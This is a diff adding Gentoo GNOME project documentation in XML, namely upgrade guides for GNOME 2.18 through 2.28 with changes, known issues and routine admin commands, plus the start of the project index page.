+</section>
+<section>
+<title>Totem doesn't have a xine USE flag!</title>
+<body>
+
+<p>
+We have decided to remove the xine backend due to various issues that we can
+not fix easily. We know this makes playing DVDs harder. However, you can
+still play DVDs. Make sure you have <c>media-video/totem</c> built with
+<c>dvd</c> USE flag, and then run:
+</p>
+
+<pre caption="Playing DVDs with Totem">
+# <i>totem dvd://</i>
+</pre>
+
+<p>
+This will play the main feature. There's no menu support, sorry.
+</p>
+
+<p>
+We are looking into making it possible to have the xine backend live in totem
+alongside gstreamer and have xine backend selectable as non-default from the
+command line. However this would still be unsupported and provided merely as a
+convenience. We would appreciate coding help to make this happen sooner.
+</p>
+
+</body>
+</section>
+<section>
+<title>Totem's browser plugin flags have changed! Now I get seamonkey!</title>
+<body>
+
+<p>
+Totem's gecko USE flags have been rearranged. Instead of defaulting to
+seamonkey and selecting firefox or xulrunner based on flags, it now defaults to
+firefox, and selects xulrunner or seamonkey based on flags. This is for 2
+reasons. First, because seamonkey doesn't run on all arches, so it needed to
+have a USE flag that could be masked. And second, to bring totem in line with
+the usage of other Gnome apps, such as epiphany. Here are the possible
+combinations of flags, and what they mean to totem now:
+</p>
+
+<table>
+<tr>
+  <th colspan="2">Totem browser plugin USE flag combinations</th>
+</tr>
+<tr>
+  <th>USE flags</th>
+  <th>Result</th>
+</tr>
+<tr>
+  <ti>USE="<c>-nsplugin</c>"</ti>
+  <ti>Disable the browser plugin; no gecko will be pulled in</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner -seamonkey</c>"</ti>
+  <ti>
+    Build the plugin against firefox. This is the default in all profiles.
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner -seamonkey</c>"</ti>
+  <ti>Build the plugin against xulrunner</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner seamonkey</c>"</ti>
+  <ti>Build the plugin against xulrunner. (xulrunner beats seamonkey.)</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner seamonkey</c>"</ti>
+  <ti>Build the plugin against seamonkey</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Issues</title>
+<section>
+<title>Tray icons missing (specifically gnome-power-manager)</title>
+<body>
+
+<p>
+There is a known bug in Gnome 2.18 where tray icons for things starting up in
+your session sometimes do not show up in the tray. The program is running, but
+its tray icon is missing. This happens to gnome-power-manager in many cases. We
+are hoping to fix this in the future, but meanwhile the workaround is to restart
+the program after the session is up, and the icon will be there for the rest of
+the session. For gnome-power-manager, open a terminal and follow these steps:
+</p>
+
+<pre caption="Getting the gnome-power-manager tray icon back">
+# <i>killall gnome-power-manager</i>
+# <i>gnome-power-manager</i>
+</pre>
+
+<p>
+This will get your g-p-m tray icon back.
+</p>
+
+</body>
+</section>
+<section>
+<title>Deskbar-applet errors out on login when using tracker</title>
+<body>
+
+<p>
+There is a known bug in trackerd that causes a race at login, where trackerd is
+starting, and deskbar-applet tries to start it via its dbus interface.  This
+causes deskbar-applet to error out. To get deskbar-applet working again (with
+tracker), open a terminal and do the following:
+</p>
+
+<pre caption="Getting deskbar-applet working">
+# <i>killall deskbar-applet</i>
+</pre>
+
+<p>
+Then, when the dialog comes up asking to restart it, select "Reload".
+</p>
+
+<p>
+This must be done once on login. Deskbar-applet will then work for the rest of
+the session.
+</p>
+
+</body>
+</section>
+<section>
+<title>The compile fails with XML:: errors, and other compilation notes</title>
+<body>
+
+<p>
+This happens because <c>expat</c> was moved to stable at the same time as Gnome
+2.18. You need to rebuild everything that links to it once expat has been
+upgraded, which is usually at the start of the upgrade process. To do so, run:
+</p>
+
+<pre caption="Fixing expat breakages">
+# <i>revdep-rebuild -X</i>
+</pre>
+
+<p>
+This will rebuild everything broken by expat, as well as performing other
+upgrades as it continues. Once it's finished, you should be able to finish
+upgrading the rest of Gnome.
+</p>
+
+<p>
+Once the entire 2.18 upgrade process is finished, you need to run
+<c>revdep-rebuild</c> a few more times until there's no more output, indicating
+that Gnome and its dependencies have been properly built. After that, don't
+forget about running <c>dispatch-conf</c>!
+</p>
+
+<p>
+Finally, dbus and hal need to be restarted if they were running during the
+upgrade:
+</p>
+
+<pre caption="Restarting services">
+# <i>/etc/init.d/dbus restart</i>
+# <i>/etc/init.d/hald restart</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.20-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.20-upgrade.xml
new file mode 100644
index 00000000..dadc84b7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.20-upgrade.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.20-upgrade.xml,v 1.2 2007/11/22 03:42:38 leio Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.20-upgrade.xml">
+
+<title>Gnome 2.20 Upgrade Guide</title>
+<author title="Author">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Author">
+  <mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+
+<abstract>
+This is a guide for upgrading from GNOME 2.18.x to GNOME 2.20.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2007-11-22</date>
+
+<chapter>
+<title>Changes</title>
+<section>
+<title>Font, Theme, and Background Preferences</title>
+<body>
+
+<p>
+The Font, Theme, and Background control panels have been merged into the
+"Appearance" control panel.  This means that changing almost anything
+related to the appearance of your desktop is now done in a single window in
+tabs.  Go to System -> Preferences -> Appearance to change these settings.
+</p>
+
+</body>
+</section>
+<section>
+<title>Spam Filter Choice in Evolution</title>
+<body>
+
+<p>
+Evolution now has a real choice of spam filters.  It comes built in with
+plugins for Spamassassin and Bogofilter, and can choose which one to use at
+runtime.  The USE flags for choosing are now gone.  To choose a spam plugin,
+go to Preferences -> Mail Preferences -> Junk and set the Default junk plugin
+from the drop box.  It will tell you if you have the correct programs
+installed.  If you only have one of Spamassassin and Bogofilter installed, it
+will choose that one by default.  If you have both, it defaults to
+Spamassassin.
+</p>
+
+</body>
+</section>
+<section>
+<title>Migration to Rarian document metadata library</title>
+<body>
+
+<p>
+For as long as we know, the GNOME user help documents have been maintained and
+indexed with the scrollkeeper package.  However it has been long without an
+upstream maintainer and has a good amount of issues, including conceptual.
+</p>
+
+<p>
+GNOME 2.20 brings you a replacement in the form of the new Rarian package.
+Some of its benefits include allowing yelp to generate the table of contents
+much quicker, eventually allowing to get rid of the install-time penalty
+on all packages installing user documentation in the form of scrollkeeper
+database updating, and much more.  Fortunately it comes with a full
+compatibility layer to scrollkeeper, so the migration from scrollkeeper to
+rarian should be painless.
+</p>
+
+<p>
+We, the Gentoo GNOME team, believe that we have
+made this migration painless during the upgrade to Gnome 2.20 also on Gentoo
+Linux. This is achieved through a migration version of scrollkeeper that
+only brings in the rarian package together with its scrollkeeper compatibility
+layer and not the old scrollkeeper package.  So have no fear, the version 9999
+of scrollkeeper is that migration version stub and not a live CVS ebuild.
+A recent stable Portage should be able to figure out the way to do a
+successful migration on its own without manual intervention.
+</p>
+
+</body>
+</section>
+<section>
+<title>Other changes</title>
+<body>
+
+<p>
+Please see the <uri link="http://www.gnome.org/start/2.20/notes/en/">GNOME 2.20 Release Notes</uri>
+for what else new is in this major release of GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Issues</title>
+<section>
+<title>Gnome Power Manager Tray icon missing (fixed)</title>
+<body>
+
+<p>
+The problem with gnome-power-manager's tray icon being missing on startup has
+been fixed.  If you had any automatic workarounds in place, you should remove
+them after upgrading.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.22-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.22-upgrade.xml
new file mode 100644
index 00000000..4ccef46d
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.22-upgrade.xml
@@ -0,0 +1,189 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.22-upgrade.xml,v 1.14 2008/06/21 17:15:44 remi Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.22-upgrade.xml">
+<title>Gnome 2.22 Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="remi"/>
+</author>
+<author title="Author">
+  <mail link="leio"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This is a guide for upgrading from GNOME 2.20.x to GNOME 2.22.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2008-06-20</date>
+
+<chapter>
+<title>Changes</title>
+<section>
+<title>Automounting of removable media</title>
+<body>
+
+<p>
+Automounting has seen a few significant changes for Gnome 2.22. It is now
+handled by Nautilus instead of <c>gnome-base/gnome-volume-manager</c>. However,
+<c>gnome-volume-manager</c> is still used to detect new hardware such as
+cameras.
+</p>
+
+<p>
+Because of this change, there is now an <c>automount</c> use flag on
+<c>gnome-volume-manager</c> for users who wish to keep the old behavior. Users
+who previously started <c>gnome-volume-manager</c> with non-Gnome desktops are
+strongly advised to enable this use flag. Gnome users on the other hand are
+strongly advised to make sure that this use flag is not turned on, as it will
+cause problems with Nautilus.
+</p>
+
+</body>
+</section>
+<section>
+<title>Seahorse key manager</title>
+<body>
+
+<p>
+Starting with 2.22, Seahorse (<c>app-crypt/seahorse</c>) is the official key and
+password manager, replacing GNOME Keyring Manager
+(<c>gnome-extra/gnome-keyring-manager</c>). It handles both GPG and SSH keys,
+and can also be used to manage the passwords saved in your GNOME keyring.
+</p>
+
+<p>
+If you are happy with Seahorse after completing the GNOME upgrade, you may
+consider uninstalling <c>gnome-keyring-manager</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>PAM and GNOME Keyring integration</title>
+<body>
+
+<p>
+Starting with GNOME 2.20, GNOME Keyring (<c>gnome-base/gnome-keyring</c>)
+started providing a PAM module (<path>pam_gnome_keyring.so</path>) to
+automatically unlock your keyring as you log in to your session, thereby saving
+you the trouble from typing two passwords.
+</p>
+
+<p>
+In GNOME 2.22, this feature is now even more easily configurable, thanks to
+<c>sys-auth/pambase</c> that has a <c>gnome-keyring</c> USE flag. With this
+flag enabled, the PAM configuration files in <path>/etc/pam.d/</path> will
+automatically have <path>pam_keyring.so</path> inserted in the right places.
+Just remember to use <c>dispatch-conf</c> or your similar tool of choice after
+installing <c>pambase</c> to update those files.
+</p>
+
+</body>
+</section>
+<section>
+<title>Other changes</title>
+<body>
+
+<p>
+Please see the <uri
+link="http://library.gnome.org/misc/release-notes/2.22/">GNOME 2.22 Release
+Notes</uri> for what else new is in this major release of GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Troubleshooting</title>
+<section>
+<title>Upgrading to Python 2.5</title>
+<body>
+
+<p>
+Before upgrading to GNOME 2.22, please make sure you <e>only</e> have
+<c>dev-lang/python-2.5*</c> and that your system is fully updated.
+</p>
+
+<pre caption="Upgrading python">
+# <i>emerge -av dev-lang/python:2.5</i>
+# <i>python-updater</i>
+# <i>emerge -C dev-lang/python:2.4</i>
+</pre>
+
+<warn>
+If you open bugs related to Python errors and if you are still using Python
+2.4, we <e>will</e> ask you to update to 2.5. The GNOME Herd does <e>not</e>
+support GNOME 2.22 with Python 2.4.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Blocked packages</title>
+<body>
+
+<p>
+With GNOME 2.22 a few packages were split into two, to allow other applications
+to use the previously internal libraries. For example the playlist parser
+library found in <c>totem</c> is now split out of it into
+<c>dev-libs/totem-pl-parser</c>, so that <c>rhythmbox</c> can depend on it
+without depending on the whole of <c>totem</c>.
+</p>
+
+<p>
+All this results in blockers having to be in place between the packages to avoid
+file collisions. To work around it, simply follow the appropriate instructions
+in the <uri
+link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?full=1#blocked">handbook</uri>
+as instructed by Portage. In particular, temporarily unmerge the conflicting
+package and continue as normal, getting the unmerged package back soon via the
+meta package or other GNOME parts depending on it.
+</p>
+
+</body>
+</section>
+<section>
+<title>GNOME no longer available as a session option in GDM</title>
+<body>
+
+<p>
+GDM uses the files available in <path>/usr/share/xsessions/*</path> to determine
+which desktop environments the user has installed and will be able to select
+from the "Sessions" menu.
+</p>
+
+<p>
+The appropriate file for GNOME is now provided by
+<c>gnome-base/gnome-session-2.22</c> instead of <c>gnome-base/gdm</c>, and due
+to this there are appropriate package blockers in place to avoid file
+collisions leading to this session file getting lost.
+</p>
+
+<p>
+The only thing that can go bad is that <c>gnome-session</c> does not get
+upgraded to 2.22 after it was uninstalled to resolve the GDM upgrade blocker.
+The symptom would be the lack of a GNOME choice in the GDM "Sessions" menu, in
+which case please check that you have <c>gnome-session-2.22.0</c> or newer
+installed.
+</p>
+
+<p>
+Note that this problem cannot happen to <c>gnome-base/gnome</c> meta package
+users, as it will pull in the appropriate <c>gnome-session</c> package again.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.26-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.26-upgrade.xml
new file mode 100644
index 00000000..ff4f6b09
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.26-upgrade.xml
@@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.26-upgrade.xml,v 1.7 2009/10/18 09:48:32 nightmorph Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.26-upgrade.xml">
+<title>Gnome 2.26 Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="eva"/>
+</author>
+
+<abstract>
+This is a guide for upgrading from GNOME 2.24.x to GNOME 2.26.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2009-09-29</date>
+
+<chapter>
+<title>Changes</title>
+<section>
+<title>Session handling</title>
+<body>
+
+<p>
+Due to a major rewrite of <c>gnome-base/gnome-session</c>, existing saved
+sessions will most likely be lost because of a change in the format.
+</p>
+
+</body>
+</section>
+<section>
+<title>Brasero Disc Burner</title>
+<body>
+
+<p>
+Starting with 2.26, Brasero (<c>app-cdr/brasero</c>) is the official optical
+media burning utility. It completely replaces nautilus CD burner
+(<c>gnome-extra/nautilus-cd-burner</c>) by providing an extension to
+nautilus that behaves the same way nautilus CD burner did. In addition to this,
+it also provides its own interface for more complex tasks.
+</p>
+
+<p>
+If you are happy with Brasero after completing the GNOME upgrade, you may
+consider uninstalling <c>gnome-extra/nautilus-cd-burner</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pulseaudio integration</title>
+<body>
+
+<p>
+GNOME 2.26 now offers complete pulseaudio integration. Please note that on
+some hardware, enabling pulseaudio USE flag means that you will have to enable
+its support in other applications using sound output (e.g. mplayer). You may want
+to refer to the <uri link="http://www.pulseaudio.org/wiki/PerfectSetup">official
+pulseaudio documentation</uri> for setting it up.
+</p>
+
+</body>
+</section>
+<section>
+<title>gnome-desktop API changes</title>
+<body>
+
+<p>
+Due to the <uri link="http://live.gnome.org/GnomeGoals">GNOME goal</uri> of
+removing deprecated libraries usage, gnome-desktop changed its API again. It
+should not break anything while upgrading but do not forget to run
+<c>revdep-rebuild</c> or <c>emerge @preserved-rebuild</c> at the end of the
+upgrade process and check that the old library is gone.
+</p>
+
+</body>
+</section>
+<section>
+<title>GNOME and KDE menu file-collision</title>
+<body>
+
+<p>
+Due to file-collision between GNOME menus and KDE's own menus,
+<c>gnome-base/gnome-menus</c> was changed to use a prefixed location for its
+menu. It means that menus can disappear in the middle of the upgrade. To get
+them back, just make sure you install <c>>=gnome-base/gnome-session-2.26.2</c>
+and <c>>=gnome-base/gnome-menus-2.26.2</c>.
+</p>
+	
+<p>
+If you are using a login manager and lose your menu, please re-select
+gnome as your session at the login prompt. If you start gnome by hand and have
+a custom .xinitrc , please export XDG_MENU_PREFIX=gnome- to get your menu back.
+If you start gnome by hand but have no .xinitrc, just export XSESSION=Gnome.
+See <uri link="http://bugs.gentoo.org/256614">bug #256614</uri> and 
+<uri link="http://bugs.gentoo.org/279555">bug #279555</uri> for details.
+</p>
+
+</body>
+</section>
+<section>
+<title>Other changes</title>
+<body>
+
+<p>
+Please see the <uri
+link="http://library.gnome.org/misc/release-notes/2.26/">GNOME 2.26 Release
+Notes</uri> for what else new is in this major release of GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Issues</title>
+<section>
+<title>Nautilus constantly restarting</title>
+<body>
+
+<p>
+With the gnome-session rewrite, <c>gnome-base/nautilus</c> is considered as a
+basic part of the GNOME desktop. However, configuring nautilus so that it
+doesn't handle the desktop results in <c>gnome-base/gnome-session</c> repeatedly
+spawning multiple instances of it at login.
+</p>
+
+<p>
+Currently the workaround is to <b>not</b> configure nautilus in such a way.
+See <uri link="http://bugs.gentoo.org/266398">bug #266398</uri> for updates on
+this issue.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.28-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.28-upgrade.xml
new file mode 100644
index 00000000..5b0daaf0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.28-upgrade.xml
@@ -0,0 +1,236 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.28-upgrade.xml,v 1.3 2010/05/02 11:04:09 pacho Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.28-upgrade.xml">
+<title>Gnome 2.28 Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="pacho"/>
+</author>
+
+<abstract>
+This is a guide for upgrading from GNOME 2.26.x to GNOME 2.28.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2010-05-02</date>
+
+<chapter>
+<title>Changes</title>
+
+<section>
+<body>
+<note>You can select the <b>gnome</b> subprofile to automatically enable most
+USE flags needed by <c>gnome-base/gnome</c>. Please follow <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml#doc_chap3">these instructions</uri> 
+to select this profile if desired.</note>
+</body>
+</section>
+
+<section>
+<body>
+<note>When running <c>gconftool-2</c> to change settings, you
+can run it as root appending <c>--config-source
+xml:readwrite:/etc/gconf/gconf.xml.defaults</c> to the end of the command to
+set default preferences for <b>all</b> users.
+</note>
+</body>   
+</section>
+
+<section>
+<title>Drives auto-mounting</title>
+<body>
+
+<p>
+<c>sys-apps/gnome-disk-utility</c> support in <c>gnome-base/gvfs</c> is now required
+by nautilus to auto-mount drives. Because of this, you need to be sure gvfs is built
+with <c>gdu</c> USE flag enabled. 
+</p>
+
+<p> We have decided to not enable by default that USE flag in gvfs
+because it would add too many extra dependencies to people using gvfs but not full
+Gnome desktop. Because of this, we have decided to make <c>gnome-base/gnome</c> require
+gvfs to be built with <c>gdu</c> USE flag enabled since most of users installing this meta
+will expect to get a fully working desktop. Regarding <c>gnome-base/gnome-light</c> meta,
+we finally decided to let its users handle this dependency as they prefer configuring
+<c>automount</c> USE flag (enabled by default).
+</p>
+
+</body>
+</section>
+<section>
+<title>Policykit</title>
+<body>
+
+<p>
+A dependency on <c>gnome-extra/polkit-gnome</c> has been added to <c>gnome-base/gnome</c>
+meta ebuild to be sure users who enable <c>policykit</c> USE flag get information when they 
+do not have the correct privileges.
+</p>
+
+</body>
+</section>
+<section>
+<title>Suspend/hibernate from power manager tray icon</title>
+<body>
+
+<p>
+Upstream decided to hide suspend/hibernate options from systray icon as they think
+it was not a great shortcut for them. You can still enable them again through gconf
+running: 
+</p>
+<pre caption="Show actions in systray icon menu">
+# <i>gconftool-2 --type boolean --set /apps/gnome-power-manager/ui/show_actions_in_menu true</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Suspend/hibernate requires consolekit</title>
+<body>
+
+<p>
+ConsoleKit became a runtime dependency of <c>gnome-extra/gnome-power-manager</c> in 2.27/2.28
+cycle as explained in <uri link="http://bugs.gentoo.org/287025">bug #287025</uri>.
+If you know how to solve this, we will welcome patches in above bug report to make consolekit depend
+optional again.
+</p>
+
+</body>
+</section>
+<section>
+<title>Icons in menus and buttons</title>
+<body>
+
+<p>
+Icons in menus and buttons were disabled by default by upstream as reported in <uri link="http://library.gnome.org/misc/release-notes/2.28/index.html.en#rnusers.cleanup">Gnome 2.28 Release Notes</uri> since they think it will standardize the look and feel of menus and present a cleaner interface to users.
+Since we know some people will disagree with that decision, you can revert the change through
+gconf running:
+</p> 
+
+<pre caption="Show icons in menus and buttons">
+# <i>gconftool-2 --type boolean --set /desktop/gnome/interface/buttons_have_icons true</i>
+# <i>gconftool-2 --type boolean --set /desktop/gnome/interface/menus_have_icons true</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Synaptics hal settings are ignored</title>
+<body>
+
+<p>
+Due to <c>sys-apps/hal</c> deprecation, upstream decided to drop its support causing
+synaptics hal settings to be ignored. As a workaround until migration away
+from hal ends, you can try to configure your touchpad using the settings tool in
+<c>System->Preferences->Mouse->Touchpad</c>,
+but it will not allow you to define some settings like touchpad size, tap zones, tap sensitivity, etc. 
+</p>
+	
+<p>
+If it is not good enough for your setup, you can try to disable mouse plugin through
+gconf running:
+</p>
+<pre caption="Disable mouse plugin">
+# <i>gconftool-2 --type boolean --set /apps/gnome_settings_daemon/plugins/mouse/active false</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Other changes</title>
+<body>
+
+<p>
+Please see the <uri
+link="http://library.gnome.org/misc/release-notes/2.28/">GNOME 2.28 Release
+Notes</uri> for what else new is in this major release of GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Troubleshooting</title>
+<section>
+<title>Missing information in menus while upgrading</title>
+<body>
+
+<p>
+Menus might loose their long version/translation while upgrading because of
+<c>gnome-base/gnome-menus</c> changes during the progress. It should get back 
+to normal once log off/on cycle has been done.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Epiphany 2.28 not marked stable</title>
+<body>
+
+<p>
+Since it was released, some of Gnome team members have been using new epiphany every day to test
+if it is ready to go stable. Due their important regressions like missing password saving support,
+missing extensions, crashes related with <c>net-libs/webkit-gtk</c> and upstream focusing more in
+2.29/2.30 to solve most of the problems, we have decided to keep using 2.26 series until 2.30 (or
+newer) are ready to go stable with a newer <c>net-libs/webkit-gtk</c> version also.
+</p>
+	
+<p>
+You can install newer epiphany and epiphany-extensions simply following 
+<uri
+link="http://www.gentoo.org/doc/en/handbook/handbook-amd64.xml?part=3&amp;chap=3#doc_chap2">handbook 
+instructions</uri> to install testing packages on a stable system.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gvfs problems while upgrading</title>
+<body>
+
+<impo>
+Be sure to restart gvfs at the end of the update is needed to avoid weird
+errors.
+</impo>
+
+<p>
+The safest way to restart it is to log off/on again because doing it on a
+logged in session could cause crashing problems.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Can not click on Flash elements and other problems related with mouse interaction</title>
+<body>
+
+<p>
+GDK has been rewritten to use client-side windows. This means that GDK maintains its own window 
+hierarchy and only uses X windows where it is necessary or explicitly requested. Some of the 
+benefits of this change are reduced flicker, the ability to do transformed and animated rendering 
+of widgets, easier embedding of GTK+ widgets, etc. Click <uri link="http://blogs.gnome.org/alexl/2009/06/12/the-return-of-client-side-windows/">
+here</uri> to see client-side windows in action.
+</p>
+
+<p>
+On the other hand, this change can cause problems with applications still not prepared to use it like
+flashplayer or vmware-workstation. To workaround these issues, you simply need to launch the app
+running <c>GDK_NATIVE_WINDOWS=1 application</c> like, for example, <c>GDK_NATIVE_WINDOWS=1 firefox</c>,
+getting flashplayer working ok again since that variable turns off this new feature.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/index.xml b/xml/htdocs/proj/en/desktop/gnome/index.xml
new file mode 100644
index 00000000..7776eaf2
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/index.xml
@@ -0,0 +1,214 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>gnome</name>
+
+<longname>Gentoo GNOME Desktop</longname>
+<date>2010-04-26</date>
+
+<author title="Developer">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+
+<author title="Developer">
+  <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+</author>
+
+<author title="Developer">
+  <mail link="foser@gentoo.org">Marinus Schraal</mail>
+</author>
+
+<author title="Developer">
+  <mail link="obz@gentoo.org">Mike Gardiner</mail>
+</author>
+
+<author title="Developer">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+
+<author title="Developer">
+  <mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+
+<author title="Developer">
+  <mail link="eva@gentoo.org">Gilles Dartiguelongue</mail>
+</author>
+
+<author title="Developer">
+  <mail link="nirbheek@gentoo.org">Nirbheek Chauhan</mail>
+</author>
+
+<description>
+The Gentoo Gnome Project aims to bring the current and complete GNOME Desktop
+Environment to Gentoo.
+</description>
+
+<longdescription>
+<p>
+The Gentoo Gnome Project aims to bring the current and complete GNOME Desktop
+Environment to Gentoo. We maintain the GNOME core libraries, GNOME Office
+Applications (gnumeric, abiword, dia, planner) and various applications that
+are part of the GNOME Desktop.
+</p>
+<p>There are several sections available on our project site. These include:</p>
+<table>
+<tr>
+<th>Section</th>
+<th>Summary</th>
+</tr>
+<tr>
+<ti><uri link="faq.xml">FAQ</uri></ti>
+<ti>Frequently Asked Questions about GNOME on Gentoo</ti>
+</tr>
+<tr>
+<ti><uri link="gnome-policy.xml">Policy</uri></ti>
+<ti>Policy statements for the Gentoo Gnome Project</ti>
+</tr>
+<tr>
+<ti><uri link="howtos/gnome-2.16-upgrade.xml">Gnome 2.16 Upgrade Guide</uri></ti>
+<ti>Upgrade guide for Gnome 2.16</ti>
+</tr>
+<tr>
+<ti><uri link="howtos/gnome-2.18-upgrade.xml">Gnome 2.18 Upgrade Guide</uri></ti>
+<ti>Upgrade guide for Gnome 2.18</ti>
+</tr>
+<tr>
+<ti><uri link="howtos/gnome-2.20-upgrade.xml">Gnome 2.20 Upgrade Guide</uri></ti>
+<ti>Upgrade guide for Gnome 2.20</ti>
+</tr>
+<tr>
+<ti><uri link="howtos/gnome-2.22-upgrade.xml">Gnome 2.22 Upgrade Guide</uri></ti>
+<ti>Upgrade guide for Gnome 2.22</ti>
+</tr>
+<tr>
+<ti><uri link="howtos/gnome-2.26-upgrade.xml">Gnome 2.26 Upgrade Guide</uri></ti>
+<ti>Upgrade guide for Gnome 2.26</ti>
+</tr>
+<tr> 
+<ti><uri link="howtos/gnome-2.28-upgrade.xml">Gnome 2.28 Upgrade Guide</uri></ti>
+<ti>Upgrade guide for Gnome 2.28</ti>
+</tr>
+</table>
+
+</longdescription>
+
+<dev role="lead">leio</dev>
+<dev role="member">dang</dev>
+<dev role="member">eva</dev>
+<dev role="member">ford_prefect</dev>
+<dev role="member">mrpouet</dev>
+<dev role="member">nirbheek</dev>
+<dev role="member">pacho</dev>
+<dev role="member">remi</dev>
+<dev role="member">abcd</dev>
+<herd name="gnome"/>
+<herd name="gnome-accessibility"/>
+<herd name="gnome-office"/>
+<herd name="gnome-mm"/>
+
+<task id="codeina" lead="leio" finished="no">
+<name>Codeina support</name>
+<description>Implement Codeina support in Gentoo</description>
+
+<longdescription>
+<p>
+People at Fluendo have written a nice little python application that installs missing packages required by applications using gstreamer. This project, in collaboration with gstreamer herd, aims at making it possible to use it on Gentoo.
+</p>
+</longdescription>
+
+<startdate>13 October 2008</startdate>
+<dev role="member">eva</dev>
+<reference>
+<bug no="241674" />
+</reference>
+</task>
+
+<extrachapter position="bottom">
+<title>Meetings</title>
+<section>
+<body>
+<p>
+The GNOME herd holds meetings at <uri link="irc://irc.freenode.net/gentoo-meetings">#gentoo-meetings</uri>.
+Meetings are announced in the topic of <uri link="irc://irc.freenode.net/gentoo-desktop">#gentoo-desktop</uri>.
+Schedule for meetings is mostly irregular.
+<!-- A Google Calendar will be setup for keeping track of all meetings on
+#gentoo-meetings, that should be added here later -->
+<!-- FYI: nirbheek and scarabeus are in-charge of #gentoo-meetings -->
+</p>
+<table>
+<tr>
